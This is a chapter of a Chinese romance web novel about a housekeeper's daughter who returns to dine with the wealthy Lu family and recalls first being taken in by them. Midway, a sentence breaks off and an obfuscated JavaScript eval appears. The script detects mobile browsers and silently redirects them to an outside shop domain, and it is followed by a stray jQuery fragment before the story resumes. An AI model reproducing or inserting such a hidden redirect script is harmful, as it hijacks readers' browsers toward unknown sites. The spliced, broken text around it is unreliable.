负二层的电梯直达十五楼,数字层层递加,相隔数年再次踏进这栋大楼,章业炘有些恍惚。
离开的那天,谁能料到她会重来陆家。
“礼品重吗?我来提吧。”陆旻再一次询问。
“不用了。”章业炘拒绝,态度始终淡漠。
进门,屋内布置没有太大变化,部分家具灯饰换了新样,章母早早到了,与霜姨一道在厨房忙碌,听见开门声,霜姨擦净手走到玄关迎客。
“小炘,你来了,怎么还买礼物来,只是家常便饭,你这孩子太客气了,这次霜姨收下,下次可不许浪费钱了。”
还是这句‘下次’,想必也是客套话,章业炘笑笑,“这是晚辈该准备的。”
“真乖,你陆叔叔快到家了,等他回来就开饭。”
“需要帮忙吗?我去打下手。”
“用不上,今天我和你妈妈大展身手,你们乖乖等吃,工作累了吧,去客厅坐会儿,儿子,你招呼客人。”霜姨说着走进厨房。
“先换鞋吧。”陆旻从鞋柜里拿出一双新拖鞋给她。
尺码正好,鞋子正合适,不像是客用拖鞋,他不提她也不问,两人走进客厅。
一梯一户设计,近三百方的大平层空间宽敞,陆家是复式上下两层格局,黄昏时分,晚霞映进栽满花草的大阳台,余晖金光洒在新中式风客厅,高雅古朴。
墙上的兰竹画,想必是霜姨的得意之作。
她停步驻足,陆旻从茶水台端出待客茶具。
陆家长辈皆爱品茗,尤其陆父,爱茶胜于一切,导师曾送给她一罐黄山毛峰,她带过来了,本想让陆旻泡来尝尝,但转念想陆家人什么好东西没喝过,便不作声了。
茶香袅袅,闻香似黄金芽,章业炘只喝过一次,不敢班门弄斧,接过陆旻递来的茶盏轻声道谢。
“这是我爸私藏的好茶,趁他不在咱们尝尝。”
这话一出章业炘傻眼了,以为陆旻开玩笑,没想到他又飞快泡了一壶,茶饮冲泡有繁简,这小子是奔着嚯嚯他爸的好茶去的。
“别浪费。”章业炘气他暴殄天物,“小心我跟陆叔叔告状。”
刻意压低的声音硬是生出‘包庇’的意味,陆旻偷笑着看了她一眼,小心把那罐茶叶收好,才拿出别的茶叶。
为了不被发现端倪,章业炘闷着气把整壶茶全喝光。
二人配合天衣无缝,茶香留齿,章业炘郁闷,这不就是‘同流合污’吗?她就不该管闲事,让陆父骂骂这臭小子。
晚饭一桌好菜,陆旻独立搬家后平日家里只有霜姨与陆父在,陆父应酬多,无法时常陪伴妻子,今夜人齐,夫妇俩兴致很高,还开了一瓶好酒。
“陆叔叔,等会我还要开车,就不喝了。”
“这有什么,让阿旻送你回去,别客气,那小子任你使唤。”
她可不敢使唤那小子,犹豫间,陆旻帮她接过酒杯,“这是白葡萄酒,度数不高,配海鲜也好。”
霜姨也让她尝尝鲜,不好再推托长辈的好意,章业炘礼貌道谢。
一席人碰杯,霜姨给她夹菜,“工作辛苦了,来,多吃点,你妈妈说你爱吃这蘸料,我特意学着做,你尝尝。”
“谢谢霜姨。”陆家夫妇的热情让章业炘有些招架不住,总觉得这对夫妇看她的眼神分外奇怪。
莫名有一种豺狼擒肉的虎视眈眈与志在必得。
她偷瞄母亲,章母神情自若丝毫不拘谨,大方称赞虾肉鲜甜。
难道是她的错觉?
现在陆家没有雇聘住家保姆,莫非霜姨和陆叔要从她下手,让章母回陆家工作?
她一万个不同意。
“在想什么,怎么还不动筷?”陆旻给她夹来青口贝,“吃鱿鱼片吗?”
“谢谢,我自己来。”章业炘说得小声,默默吃饭。
席上众人随意闲聊,八人座的红木圆桌,她坐的位置与以前一样,左边挨着母亲,只是右边的位置不再是空座。
换成了陆旻
而原来的主位,也从陆旻的祖母换成了陆父。
陆老夫人双腿患疾无法正常行走,常年依赖轮椅出入,吃饭也需坐在轮椅上,如今空了一个位置,圆桌显得更大了。
无法忘怀远去的老人,只因自己第一次进陆家,第一次上陆家桌吃饭,皆由那位老人主动提起。
久病中人脾气古怪,陆家曾聘请过多名专业护工皆无法让老人称心,陆家夫妇头疼,公司事务繁忙,陆旻要上学,根本无法兼顾照料老人的重任。
托熟人介绍,章母上门试工了,她称能兼任家政与护工的工作,而作为条件,希望雇主帮忙解决女儿入读市内好高中的难题。
章母非郦市人,章业炘无法在郦市落户,只能就读学费昂贵的三流私立高中,章母不求高报酬,一心为女儿谋前程。
陆家夫妇答应,私立实验一中师资最佳,市内盛名,承诺只要老夫人满意章母的表现,陆家还会主动承担章业炘念书期间所有费用。
就这样章母留在了陆家,她工作认真不怕苦累,照顾老人极其细心,把家中大小事打理得井井有条,且她厨艺了得,讲究规矩分寸人缘佳,短短一周已和邻里打好关系。
好家政难求,中途甚至有同小区业主上门挖人,都被陆家夫妇一一拒绝了。
为了留住章母,陆家夫妇马上托关系办理章业炘的入学事宜,并把章业炘安排进陆旻所在的理科重点班。
章母是住家家政,在郦市没有房子,学位确定下来后她请了半天假为女儿办理入学与住宿手续、置办各类用品,未到正式开学日,当晚她让女儿暂住在小区附近的小旅馆。
小旅馆环境狭小吵杂,但胜在便宜,章业炘体谅母亲辛苦从不多求,平日在学校食堂吃饭,放假到小店或摊贩档解决三餐。
一切如常,直到入学后的第一个周六,陆老夫人打听章业炘的情况。
“小桂,你家住在哪儿?家里只有你丈夫和女儿吗?”
章母正在准备晚饭,闻言回,“我老家在泺乡,离郦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232629|151359||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
市挺远的,丈夫前几年去世了,家里没了劳动力,我便出来打零工,是小姑子帮忙照顾我女儿。”
“今年小姑子嫁人了,剩我女儿一个人在老家,我不放心便带着她来了。好了,饭菜快准备好了,老夫人您稍等,我去喊先生夫人。”
老人家蹙起眉不让她走,“小旻的学校周末不留人,你女儿一个人在外面租房子住?”
“她住小区旁的小旅馆,那旅馆老板是我老乡,我托他帮忙照看。”章母脱下围裙推着老人来到饭桌前。
端菜上桌,各人纷纷入席,章母正要像往常那样到厨房回避,老夫人却喊住她。
“小桂,你把旅馆地址发给小旻,让他去接你女儿来。”
陆家规矩严,老夫人的话就是权威,章母本想推托,霜姨已催促陆旻换鞋出门。
记得那时章业炘刚从市图书馆回来,正在路边的炒米粉摊子前排队,望见陆旻朝自己走来,还在心里暗讽大少爷也吃炒米粉。
谁料大少爷不仅不吃炒米粉,大少爷还不让她吃炒米粉,让她跟自己走。
同班同学的情谊不足以掩盖初见时的坏印象,况且两人在班上从不说话,陆旻是班里受欢迎的存在,而她坐在第一排角落位与世隔绝,毫无交集更妄提信任。
“我妈让你来我家。”
他的语气带着不耐烦,章业炘云里雾里自然不答应,直到章母给她打去电话,才确信怎么一回事。
一顿饭而已,她顺从母亲的意思跟随陆旻走了,两人一前一后往小区方向,傍晚街边的灯光把两道身影拉得细长。
她走得慢,避躲着他的影,故意隔开三四米距离。
通过小区门,她没有门卡,陆旻等在门边帮她撑扶闸门,那眼神明晃晃写着‘走快点’。
她也不满,这顿饭是她想吃的吗,莫名其妙要求她到一个陌生的地方吃一顿拘谨的饭,大少爷还摆出一副施恩的态度。
可她的不满无足轻重,没人在意她的想法,到陆家后,章母让她向众人问好,陆家人宽厚,与陆旻的态度迥然不同,她压下心底的别扭与莫须有的可笑自尊,乖巧入座。
并不喜悦到陆家来,只是许久没吃母亲做的饭菜了,章业炘感恩尝到母亲的手艺,欣喜得到与母亲短暂的相聚。
章母也感激陆家人的招待,工作更加卖力,当晚霜姨向老夫人提议,把一楼的小杂物间收拾出来,让章业炘也搬进陆家住,老夫人同意了。
就这样,从此周末假日,她借住在陆家。
对于大人们而言,这似乎是一件两全其美的事情,能让家里的保姆安心工作,能让女儿不必再住鱼龙混杂的小旅馆。
可对她和陆旻而言,并非好事。
无人在乎她的意愿,一如当初她来到陆家。
犹记得那晚回小旅馆的路上,小区两旁的水杉树高高耸立,遮挡了皎洁的月色,她仰头,零碎的光点落在帆布包上,像染色的脏污灰斑。
和再次走在她跟前,满脸不耐烦的陆旻一样讨厌。